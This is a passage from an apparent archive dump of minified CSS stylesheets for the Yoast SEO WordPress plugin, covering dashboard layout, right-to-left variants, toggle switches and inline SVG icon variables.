#0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow)!important}.focus\:yst-outline-none:focus{outline:2px solid #0000!important;outline-offset:2px!important}.focus\:yst-outline:focus{outline-style:solid!important}.focus\:yst-outline-\[1px\]:focus{outline-width:1px!important}.focus\:-yst-outline-offset-1:focus{outline-offset:-1px!important}.focus\:yst-outline-\[color\:\#0066cd\]:focus{outline-color:#0066cd!important}.focus\:yst-ring-2:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color)!important;--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color)!important}.focus\:yst-ring-1:focus,.focus\:yst-ring-2:focus{box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)!important}.focus\:yst-ring-1:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color)!important;--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color)!important}.focus\:yst-ring-inset:focus{--tw-ring-inset:inset!important}.focus\:yst-ring-primary-500:focus{--tw-ring-opacity:1!important;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity))!important}.focus\:yst-ring-white:focus{--tw-ring-opacity:1!important;--tw-ring-color:rgb(255 255 255/var(--tw-ring-opacity))!important}.focus\:yst-ring-red-500:focus{--tw-ring-opacity:1!important;--tw-ring-color:rgb(239 68 68/var(--tw-ring-opacity))!important}.focus\:yst-ring-emerald-600:focus{--tw-ring-opacity:1!important;--tw-ring-color:rgb(5 150 105/var(--tw-ring-opacity))!important}.focus\:yst-ring-offset-2:focus{--tw-ring-offset-width:2px!important}.focus\:yst-ring-offset-primary-500:focus{--tw-ring-offset-color:#a61e69!important}.yst-group:hover .group-hover\:yst-bg-primary-500{--tw-bg-opacity:1!important;background-color:rgb(166 30 105/var(--tw-bg-opacity))!important}.yst-group:hover .group-hover\:yst-bg-primary-200{--tw-bg-opacity:1!important;background-color:rgb(224 179 204/var(--tw-bg-opacity))!important}.yst-group:hover .group-hover\:yst-text-slate-500{--tw-text-opacity:1!important;color:rgb(100 116 139/var(--tw-text-opacity))!important}.yst-group:hover .group-hover\:yst-text-white{--tw-text-opacity:1!important;color:rgb(255 255 255/var(--tw-text-opacity))!important}.yst-group:hover .group-hover\:yst-text-primary-800{--tw-text-opacity:1!important;color:rgb(131 8 78/var(--tw-text-opacity))!important}@container (min-width: 28rem){.\@md\:yst-grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))!important}.\@md\:yst-flex-row{flex-direction:row!important}}@container (min-width: 32rem){.\@lg\:yst-flex-row{flex-direction:row!important}}@container (min-width: 48rem){.\@3xl\:yst-grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))!important}}@container (min-width: 80rem){.\@7xl\:yst-flex-row{flex-direction:row!important}}[dir=rtl] .rtl\:yst-rotate-180{--tw-rotate:180deg!important}[dir=rtl] .rtl\:yst-rotate-180,[dir=rtl] .rtl\:yst-rotate-\[270deg\]{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))!important}[dir=rtl] .rtl\:yst-rotate-\[270deg\]{--tw-rotate:270deg!important}[dir=rtl] .rtl\:yst-text-left{text-align:left!important}@media (max-width:784px){.max-\[784px\]\:yst-max-w-full{max-width:100%!important}}@media not all and (min-width:640px){.max-sm\:yst-grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))!important}}@media (min-width:640px){.sm\:yst-mx-0{margin-left:0!important;margin-right:0!important}.sm\:yst-mb-0{margin-bottom:0!important}.sm\:yst-ml-3{margin-left:.75rem!important}.sm\:yst-mt-0{margin-top:0!important}.sm\:yst-ml-4{margin-left:1rem!important}.sm\:yst-flex{display:flex!important}.sm\:yst-h-10{height:2.5rem!important}.sm\:yst-w-auto{width:auto!important}.sm\:yst-w-96{width:24rem!important}.sm\:yst-w-10{width:2.5rem!important}.sm\:yst-translate-y-0{--tw-translate-y:0px!important}.sm\:yst-scale-95,.sm\:yst-translate-y-0{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))!important}.sm\:yst-scale-95{--tw-scale-x:.95!important;--tw-scale-y:.95!important}.sm\:yst-scale-100{--tw-scale-x:1!important;--tw-scale-y:1!important;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))!important}.sm\:yst-grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))!important}.sm\:yst-flex-row-reverse{flex-direction:row-reverse!important}.sm\:yst-items-start{align-items:flex-start!important}.sm\:yst-text-left{text-align:left!important}.sm\:yst-text-sm{font-size:.8125rem!important}}@media (min-width:768px){.md\:yst-absolute{position:absolute!important}.md\:yst-grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))!important}.md\:yst-grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))!important}.md\:yst-flex-row{flex-direction:row!important}}@media (min-width:783px){.min-\[783px\]\:yst-block{display:block!important}.min-\[783px\]\:yst-grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))!important}.min-\[783px\]\:yst-p-8{padding:2rem!important}}@media (min-width:1024px){.lg\:yst-left-44{left:11rem!important}.lg\:yst-col-span-2{grid-column:span 2/span 2!important}.lg\:yst-mt-0{margin-top:0!important}.lg\:yst-grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))!important}.lg\:yst-grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))!important}.lg\:yst-grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))!important}.lg\:yst-gap-12{gap:3rem!important}}@media (min-width:1280px){.xl\:yst-fixed{position:fixed!important}.xl\:yst-right-8{right:2rem!important}.xl\:yst-col-span-2{grid-column:span 2/span 2!important}.xl\:yst-mb-0{margin-bottom:0!important}.xl\:yst-mt-0{margin-top:0!important}.xl\:yst-w-\[16rem\]{width:16rem!important}.xl\:yst-max-w-3xl{max-width:48rem!important}.xl\:yst-max-w-\[16rem\]{max-width:16rem!important}.xl\:yst-grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))!important}.xl\:yst-grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))!important}.xl\:yst-grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))!important}.xl\:yst-flex-row{flex-direction:row!important}.xl\:yst-gap-12{gap:3rem!important}.xl\:yst-pr-\[17\.5rem\]{padding-right:17.5rem!important}}@media (min-width:1536px){.\32xl\:yst-col-span-2{grid-column:span 2/span 2!important}.\32xl\:yst-mt-0{margin-top:0!important}.\32xl\:yst-grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))!important}.\32xl\:yst-grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))!important}.\32xl\:yst-gap-12{gap:3rem!important}}@media (min-width:1800px){.min-\[1800px\]\:yst-grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))!important}}wordpress-seo/css/dist/general-page-2420-rtl.css000064400000017447147510273070015363 0ustar00body.toplevel_page_wpseo_dashboard .notice,body.toplevel_page_wpseo_dashboard .yoast-migrated-notice{display:none}body.toplevel_page_wpseo_dashboard .yoast-general-page-notices:last-child{margin-bottom:2rem}body.toplevel_page_wpseo_dashboard .yoast-general-page-notice,body.toplevel_page_wpseo_dashboard .yoast-webinar-dashboard{--tw-border-opacity:1;--tw-shadow:0 4px 6px -1px #0000001a,0 2px 4px -2px #0000001a;--tw-shadow-colored:0 4px 6px -1px var(--tw-shadow-color),0 2px 4px -2px var(--tw-shadow-color);background:#fff;border-color:rgb(224 179 204/var(--tw-border-opacity));border-radius:.375rem;border-width:1px;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);padding:.75rem}body.toplevel_page_wpseo_dashboard .yoast-general-page-notice .yoast-icon{background-color:var(--yoast-color-primary);display:inline-block;height:17px;margin-left:12px;mask-image:var(--yoast-svg-icon-yoast);-webkit-mask-image:var(--yoast-svg-icon-yoast);mask-size:100% 100%;-webkit-mask-size:100% 100%;width:17px}body.toplevel_page_wpseo_dashboard .yoast-general-page-notice .notice-dismiss{--tw-text-opacity:1;color:rgb(148 163 184/var(--tw-text-opacity));position:relative}body.toplevel_page_wpseo_dashboard .yoast-general-page-notice .notice-dismiss:hover{--tw-text-opacity:1;color:rgb(100 116 139/var(--tw-text-opacity))}body.toplevel_page_wpseo_dashboard .yoast-general-page-notice .notice-dismiss:before,body.toplevel_page_wpseo_dashboard .yoast-general-page-notice .notice-yoast img{display:none}body.toplevel_page_wpseo_dashboard .yoast-general-page-notice a{font-weight:500}body.toplevel_page_wpseo_dashboard .yoast-webinar-dashboard{margin-bottom:.8rem;margin-top:0}body.toplevel_page_wpseo_dashboard .yoast-webinar-dashboard .notice-dismiss:before{background:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 24 24' stroke-width='2' stroke='%2394A3B8' class='yst-h-5 yst-w-5'%3E%3Cpath stroke-linecap='round' stroke-linejoin='round' d='M6 18 18 6M6 6l12 12'/%3E%3C/svg%3E");content:""}body.toplevel_page_wpseo_dashboard .yoast-webinar-dashboard .notice-dismiss:hover:before{background:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 24 24' stroke-width='2' stroke='%2364748b' class='yst-h-5 yst-w-5'%3E%3Cpath stroke-linecap='round' stroke-linejoin='round' d='M6 18 18 6M6 6l12 12'/%3E%3C/svg%3E");content:""}body.toplevel_page_wpseo_dashboard .yoast-webinar-dashboard p{padding-right:1.8rem}body.toplevel_page_wpseo_dashboard .yoast-webinar-dashboard .yoast-icon{height:17px;margin-left:12px;width:17px}body.toplevel_page_wpseo_dashboard .yoast-notice-migrated-header{color:#1e293b;font-size:.8125rem;font-weight:500;line-height:19px}body.toplevel_page_wpseo_dashboard .yoast-webinar-dashboard a{font-weight:500}body.toplevel_page_wpseo_dashboard .yoast-webinar-dashboard .notice-yoast__container{padding:0}body.toplevel_page_wpseo_dashboard .yoast-webinar-dashboard .notice-dismiss{padding:.75rem}body.toplevel_page_wpseo_dashboard .notice-yoast__header{margin-bottom:.25rem}body.toplevel_page_wpseo_dashboard{--tw-bg-opacity:1;background-color:rgb(241 245 249/var(--tw-bg-opacity));z-index:-1}body.toplevel_page_wpseo_dashboard #wpcontent{padding-right:0!important}body.toplevel_page_wpseo_dashboard #wpfooter{padding-left:1rem}@media (min-width:768px){body.toplevel_page_wpseo_dashboard #wpfooter{padding-right:17rem;padding-left:2rem}}@media screen and (max-width:782px){body.toplevel_page_wpseo_dashboard .wp-responsive-open #wpbody{left:-190px}}body.toplevel_page_wpseo_dashboard #modal-search .yst-modal__close{margin-top:-.25rem}@media (min-width:783px) and (max-width:962px){body.toplevel_page_wpseo_dashboard.sticky-menu .yst-root .yst-notifications--bottom-left{right:calc(160px + 2rem)}}@media (min-width:783px) and (max-width:963px){body.toplevel_page_wpseo_dashboard.sticky-menu.auto-fold .yst-root .yst-notifications--bottom-left,body.toplevel_page_wpseo_dashboard.sticky-menu.folded .yst-root .yst-notifications--bottom-left{right:calc(32px + 2rem)}}@media (min-width:962px){body.toplevel_page_wpseo_dashboard.sticky-menu.folded .yst-root .yst-notifications--bottom-left{right:calc(32px + 2rem)}}@media (max-width:783px){body.toplevel_page_wpseo_dashboard:not(.sticky-menu) .wp-responsive-open .yst-root .yst-notifications--bottom-left{right:calc(190px + 2rem)}}@media (min-width:601px) and (max-width:768px){body.toplevel_page_wpseo_dashboard .yst-root .yst-mobile-navigation__top{top:46px}}@media (min-width:783px){body.toplevel_page_wpseo_dashboard .yst-root .yst-mobile-navigation__top{display:none}}body.toplevel_page_wpseo_dashboard .yst-root .yst-mobile-navigation__dialog{z-index:99999}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button{--tw-shadow:0 1px 2px 0 #0000000d;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color);align-items:center;border-radius:.375rem;border-width:1px;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow);cursor:pointer;display:inline-flex;font-size:.8125rem;font-weight:500;line-height:1.25rem;padding:.5rem .75rem;text-align:center;-webkit-text-decoration-line:none;text-decoration-line:none}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity));--tw-ring-offset-width:2px;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);outline:2px solid #0000;outline-offset:2px}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button:disabled{cursor:not-allowed;opacity:.5;pointer-events:none}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button{--tw-border-opacity:1;--tw-bg-opacity:1;--tw-text-opacity:1;background-color:rgb(255 255 255/var(--tw-bg-opacity));border-color:rgb(203 213 225/var(--tw-border-opacity));color:rgb(30 41 59/var(--tw-text-opacity))}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button:hover{--tw-bg-opacity:1;background-color:rgb(248 250 252/var(--tw-bg-opacity))}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button{font-size:.75rem;line-height:1rem;margin-bottom:unset;margin-top:.75rem;min-height:unset;padding:.375rem .625rem;vertical-align:unset;white-space:normal}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button-link{--tw-text-opacity:1;color:rgb(79 70 229/var(--tw-text-opacity));cursor:pointer;-webkit-text-decoration-line:underline;text-decoration-line:underline}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button-link:visited{color:#a61e69}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button-link:hover{--tw-text-opacity:1;color:rgb(99 102 241/var(--tw-text-opacity))}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button-link:hover:visited{color:#b94986}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .button-link:focus{--tw-text-opacity:1;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);--tw-ring-opacity:1;--tw-ring-color:rgb(79 70 229/var(--tw-ring-opacity));--tw-ring-offset-width:1px;--tw-ring-offset-color:#0000;border-radius:.125rem;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000);color:rgb(99 102 241/var(--tw-text-opacity));outline:2px solid #0000;outline-offset:2px}body.toplevel_page_wpseo_dashboard .yst-root .yst-paper .ul-disc{list-style-type:disc;margin-right:.75rem;margin-top:.375rem;padding-right:.75rem}body.toplevel_page_wpseo_dashboard.rtl .yst-root .yst-replacevar .emoji-select-popover{right:0;left:auto}wordpress-seo/css/dist/toggle-switch-2420.css000064400000020734147510273070015006 0ustar00.switch-light span span,.switch-toggle a{display:none}@media only screen{.switch-light,.switch-toggle{display:block;padding:0!important;position:relative}.switch-light:after,.switch-toggle:after{clear:both;content:"";display:table}.switch-light *,.switch-light :after,.switch-light :before,.switch-toggle *,.switch-toggle :after,.switch-toggle :before{box-sizing:border-box}.switch-light a,.switch-toggle a{display:block;transition:all .2s ease-out}.switch-light label,.switch-light-visual-label,.switch-light>span,.switch-toggle label,.switch-toggle>span{line-height:2;vertical-align:middle}.switch-light input{opacity:0;position:absolute;z-index:3}.switch-light input[type=checkbox].disabled,.switch-light input[type=checkbox].disabled:checked:before,.switch-light input[type=checkbox]:disabled,.switch-light input[type=checkbox]:disabled:checked:before{opacity:0}.switch-light input:checked~span a{right:0}.switch-light strong{font-weight:inherit}.switch-light>span{min-height:2em;padding:0;position:relative;text-align:left}.switch-light span span{display:block;float:left;position:relative;text-align:center;-webkit-user-select:none;user-select:none;width:50%;z-index:2}.switch-light a{display:block;height:100%;padding:0;position:absolute;right:50%;top:0;width:50%;z-index:1}.switch-toggle input{left:0;opacity:0;position:absolute}.switch-toggle input[type=radio].disabled,.switch-toggle input[type=radio].disabled:checked:before,.switch-toggle input[type=radio]:disabled,.switch-toggle input[type=radio]:disabled:checked:before{opacity:0}.switch-toggle input+label{float:left;margin:0;padding:0 .5em;text-align:center}.switch-toggle input:checked+label{position:relative;z-index:2}.switch-toggle a{height:100%;left:0;padding:0;position:absolute;top:0;width:10px;z-index:1}.switch-toggle .yoast-button-upsell{left:20px;position:relative}.switch-toggle label:nth-child(2):nth-last-child(4),.switch-toggle label:nth-child(2):nth-last-child(4)~a,.switch-toggle label:nth-child(2):nth-last-child(4)~label{width:50%}.switch-toggle label:nth-child(2):nth-last-child(4)~input:checked:nth-child(3)+label~a{left:50%}.switch-toggle label:nth-child(2):nth-last-child(6),.switch-toggle label:nth-child(2):nth-last-child(6)~a,.switch-toggle label:nth-child(2):nth-last-child(6)~label{width:33.33%}.switch-toggle label:nth-child(2):nth-last-child(6)~input:checked:nth-child(3)+label~a{left:33.33%}.switch-toggle label:nth-child(2):nth-last-child(6)~input:checked:nth-child(5)+label~a{left:66.66%}.switch-toggle label:nth-child(2):nth-last-child(8),.switch-toggle label:nth-child(2):nth-last-child(8)~a,.switch-toggle label:nth-child(2):nth-last-child(8)~label{width:25%}.switch-toggle label:nth-child(2):nth-last-child(8)~input:checked:nth-child(3)+label~a{left:25%}.switch-toggle label:nth-child(2):nth-last-child(8)~input:checked:nth-child(5)+label~a{left:50%}.switch-toggle label:nth-child(2):nth-last-child(8)~input:checked:nth-child(7)+label~a{left:75%}.switch-toggle label:nth-child(2):nth-last-child(10),.switch-toggle label:nth-child(2):nth-last-child(10)~a,.switch-toggle label:nth-child(2):nth-last-child(10)~label{width:20%}.switch-toggle label:nth-child(2):nth-last-child(10)~input:checked:nth-child(3)+label~a{left:20%}.switch-toggle label:nth-child(2):nth-last-child(10)~input:checked:nth-child(5)+label~a{left:40%}.switch-toggle label:nth-child(2):nth-last-child(10)~input:checked:nth-child(7)+label~a{left:60%}.switch-toggle label:nth-child(2):nth-last-child(10)~input:checked:nth-child(9)+label~a{left:80%}.switch-toggle label:nth-child(2):nth-last-child(12),.switch-toggle label:nth-child(2):nth-last-child(12)~a,.switch-toggle label:nth-child(2):nth-last-child(12)~label{width:16.6%}.switch-toggle label:nth-child(2):nth-last-child(12)~input:checked:nth-child(3)+label~a{left:16.6%}.switch-toggle label:nth-child(2):nth-last-child(12)~input:checked:nth-child(5)+label~a{left:33.2%}.switch-toggle label:nth-child(2):nth-last-child(12)~input:checked:nth-child(7)+label~a{left:49.8%}.switch-toggle label:nth-child(2):nth-last-child(12)~input:checked:nth-child(9)+label~a{left:66.4%}.switch-toggle label:nth-child(2):nth-last-child(12)~input:checked:nth-child(11)+label~a{left:83%}.switch-candy a{box-shadow:0 1px 1px #0003,inset 0 1px 1px #ffffff73}}@media only screen and (-webkit-max-device-pixel-ratio:2) and (max-device-width:80em){.switch-light,.switch-toggle{-webkit-animation:webkitSiblingBugfix 1s infinite}}.fieldset-switch-toggle{width:400px}.fieldset-switch-toggle label{float:none}.fieldset-switch-toggle .yoast-button-upsell{background-color:green;height:16px;overflow:hidden;width:20px}@media only screen{.fieldset-switch-toggle legend{box-sizing:border-box;float:left;font-weight:600;line-height:2;margin:8px 0;min-width:200px;padding-right:16px;vertical-align:middle}.fieldset-switch-toggle .disabled-note{clear:both}.switch-container__has-help .switch-light-visual-label,.switch-container__has-help legend{float:left;min-width:0;padding-right:0}.switch-container__has-help .yoast_help.yoast-help-button{margin:8px 0 0 2px}.switch-light.switch-yoast-seo>span,.switch-toggle.switch-yoast-seo{background-color:#dcdcdc;border:1px solid #ccc;border-radius:.5em;box-shadow:inset 0 2px 4px #00000026;width:250px}.switch-light.switch-yoast-seo,.switch-toggle.switch-yoast-seo{clear:both;float:left}.switch-light.switch-yoast-seo>span{display:inline-block;overflow:visible}.switch-light.switch-yoast-seo a,.switch-toggle.switch-yoast-seo a{background:#a4286a;border:1px solid #b5b5b5;border-radius:.5em}.switch-light.switch-yoast-seo input.disabled+span a,.switch-light.switch-yoast-seo input.disabled:checked+span a,.switch-light.switch-yoast-seo input:disabled+span a,.switch-light.switch-yoast-seo input:disabled:checked+span a,.switch-toggle.switch-yoast-seo input.disabled+a,.switch-toggle.switch-yoast-seo input.disabled~a,.switch-toggle.switch-yoast-seo input:disabled+a,.switch-toggle.switch-yoast-seo input:disabled~a{background:#9b9b9b;border:0}.switch-light.switch-yoast-seo input:focus+label,.switch-light.switch-yoast-seo input:focus~span a,.switch-toggle.switch-yoast-seo input:focus+label,.switch-toggle.switch-yoast-seo input:focus~span a{outline:none}.switch-light.switch-yoast-seo input:focus~span a,.switch-toggle.switch-yoast-seo input:focus~a{border-color:#5b9dd9!important;box-shadow:0 0 2px #0073aacc!important}.switch-light.switch-yoast-seo input:checked~span a,.switch-toggle.switch-yoast-seo input:checked~span a{background:#a4286a;border:1px solid #b5b5b5}.switch-light.switch-yoast-seo input:checked~span span:first-child,.switch-light.switch-yoast-seo span span,.switch-toggle.switch-yoast-seo label{color:#333;font-weight:inherit;text-shadow:none}.switch-candy.switch-yoast-seo input:checked+label,.switch-candy.switch-yoast-seo input:checked~span span:nth-child(2),.switch-candy.switch-yoast-seo input~span span:first-child{color:#fff;text-shadow:none}.switch-candy.switch-yoast-seo input+label:after{content:"";display:block;height:100%;left:0;position:absolute;top:0;width:100%;z-index:3}.switch-candy.switch-yoast-seo input:checked+label:after{content:none}.switch-light.switch-yoast-seo-reverse input:checked~span a{left:0}.switch-light.switch-yoast-seo-reverse a{left:50%}.switch-light.switch-yoast-seo-reverse span span{float:right}.switch-toggle.switch-yoast-seo label,label.switch-light.switch-yoast-seo{cursor:pointer;margin-left:0}.switch-light.switch-yoast-seo input.disabled+span,.switch-light.switch-yoast-seo input:disabled+span,.switch-toggle.switch-yoast-seo input.disabled+label,.switch-toggle.switch-yoast-seo input:disabled+label{cursor:not-allowed}.switch-yoast-seo .switch-yoast-seo-jaws-a11y{display:block;height:1px;margin-bottom:-1px;overflow:hidden}.switch-light.switch-yoast-seo label code,.switch-toggle.switch-yoast-seo label code{background-color:inherit;vertical-align:top}.switch-light-visual-label{display:block;font-weight:600;line-height:2;margin:8px 0}.switch-light-visual-label__strong{font-weight:600}.switch-container{clear:both;margin:0 0 .8em}.switch-container.premium-upsell .clear{display:none}.switch-container.premium-upsell{align-items:end;clear:both;display:grid;grid-template-columns:280px 1fr;margin:0 0 .8em}.switch-container.premium-upsell .yoast-help-panel{width:520px}@media screen and (max-width:600px){.switch-container.premium-upsell{clear:both;display:grid;grid-template-columns:1fr;margin:0 0 .8em}.switch-container.premium-upsell .yoast-help-panel{width:unset}}.switch-container.premium-upsell .yoast-button{clear:both;margin-top:8px;width:-moz-fit-content;width:fit-content}.switch-container+.switch-container{margin-top:8px}.switch-container+p{margin:0 0 16px}}wordpress-seo/css/dist/support-2420-rtl.css000064400000000675147510273070014543 0ustar00.seo_page_wpseo_page_support{--tw-bg-opacity:1;background-color:rgb(241 245 249/var(--tw-bg-opacity));z-index:-1}.seo_page_wpseo_page_support #wpcontent{padding-right:0!important}.seo_page_wpseo_page_support #wpfooter{padding-left:1rem}@media (min-width:768px){.seo_page_wpseo_page_support #wpfooter{padding-right:17rem;padding-left:2rem}}@media screen and (max-width:782px){.seo_page_wpseo_page_support .wp-responsive-open #wpbody{left:-190px}}wordpress-seo/css/dist/monorepo-2420-rtl.css000064400000101505147510273070014657 0ustar00:root{--yoast-border-default:1px solid #0003;--yoast-color-default:#404040;--yoast-color-default-darker:#303030;--yoast-color-primary:#a4286a;--yoast-color-secondary:#f7f7f7;--yoast-color-white:#fff;--yoast-color-green:#6ea029;--yoast-color-primary-darker:#7b1e50;--yoast-color-primary-lighter:#f5d6e6;--yoast-color-secondary-darker:#d9d9d9;--yoast-color-button-upsell:#fec228;--yoast-color-button-upsell-hover:#f2ae01;--yoast-color-dark:#303030;--yoast-color-sale:#fec228;--yoast-color-sale-darker:#feb601;--yoast-color-border:#0003;--yoast-color-label:#303030;--yoast-color-label-help:#707070;--yoast-color-active:#6ea029;--yoast-color-inactive:#dc3232;--yoast-color-inactive-text:#707070;--yoast-color-inactive-grey:#9e9e9e;--yoast-color-inactive-grey-light:#f1f1f1;--yoast-color-active-light:#b6cf94;--yoast-transition-default:all 150ms ease-out;--yoast-color-link:#006dac;--yoast-color-border--default:#0003;--yoast-color-focus:0 0 0 2px #007fff,0 0 0 5px #bfdfff;--yoast-svg-icon-chevron-down:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" aria-hidden="true"><path d="M17 9.4 12 14 7 9.4l-1 1.2 6 5.4 6-5.4z"/></svg>');--yoast-svg-icon-chevron-up:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" aria-hidden="true"><path d="m12 8-6 5.4 1 1.2 5-4.6 5 4.6 1-1.2z"/></svg>');--yoast-checkmark--white:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23FFF' viewBox='0 0 512 512'%3E%3Cpath d='m173.898 439.404-166.4-166.4c-9.997-9.997-9.997-26.206 0-36.204l36.203-36.204c9.997-9.998 26.207-9.998 36.204 0L192 312.69 432.095 72.596c9.997-9.997 26.207-9.997 36.204 0l36.203 36.204c9.997 9.997 9.997 26.206 0 36.204l-294.4 294.401c-9.998 9.997-26.207 9.997-36.204-.001'/%3E%3C/svg%3E");--yoast-svg-icon-info:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='1792' height='1792' aria-hidden='true'%3E%3Cpath fill='%23A4286A' d='M1152 1376v-160q0-14-9-23t-23-9h-96V672q0-14-9-23t-23-9H672q-14 0-23 9t-9 23v160q0 14 9 23t23 9h96v320h-96q-14 0-23 9t-9 23v160q0 14 9 23t23 9h448q14 0 23-9t9-23m-128-896V320q0-14-9-23t-23-9H800q-14 0-23 9t-9 23v160q0 14 9 23t23 9h192q14 0 23-9t9-23m640 416q0 209-103 385.5T1281.5 1561 896 1664t-385.5-103T231 1281.5 128 896t103-385.5T510.5 231 896 128t385.5 103T1561 510.5 1664 896'/%3E%3C/svg%3E");--yoast-svg-icon-check:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' aria-hidden='true' viewBox='0 0 1792 1792'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68'/%3E%3C/svg%3E");--yoast-svg-icon-check-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='1792' height='1792' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68'/%3E%3C/svg%3E");--yoast-svg-icon-caret-right:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 192 512"><path d="M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662"/></svg>');--yoast-svg-icon-caret-left:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='16' height='16' aria-hidden='true' viewBox='0 0 192 512'%3E%3Cpath fill='%23555' d='M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142'/%3E%3C/svg%3E");--yoast-svg-icon-eye:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='1792' height='1792' aria-hidden='true'%3E%3Cpath fill='%23555' d='M1664 960q-152-236-381-353 61 104 61 225 0 185-131.5 316.5T896 1280t-316.5-131.5T448 832q0-121 61-225-229 117-381 353 133 205 333.5 326.5T896 1408t434.5-121.5T1664 960M944 576q0-20-14-34t-34-14q-125 0-214.5 89.5T592 832q0 20 14 34t34 14 34-14 14-34q0-86 61-147t147-61q20 0 34-14t14-34m848 384q0 34-20 69-140 230-376.5 368.5T896 1536t-499.5-139T20 1029Q0 994 0 960t20-69q140-229 376.5-368T896 384t499.5 139T1772 891q20 35 20 69'/%3E%3C/svg%3E");--yoast-svg-icon-list:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='1792' height='1792' 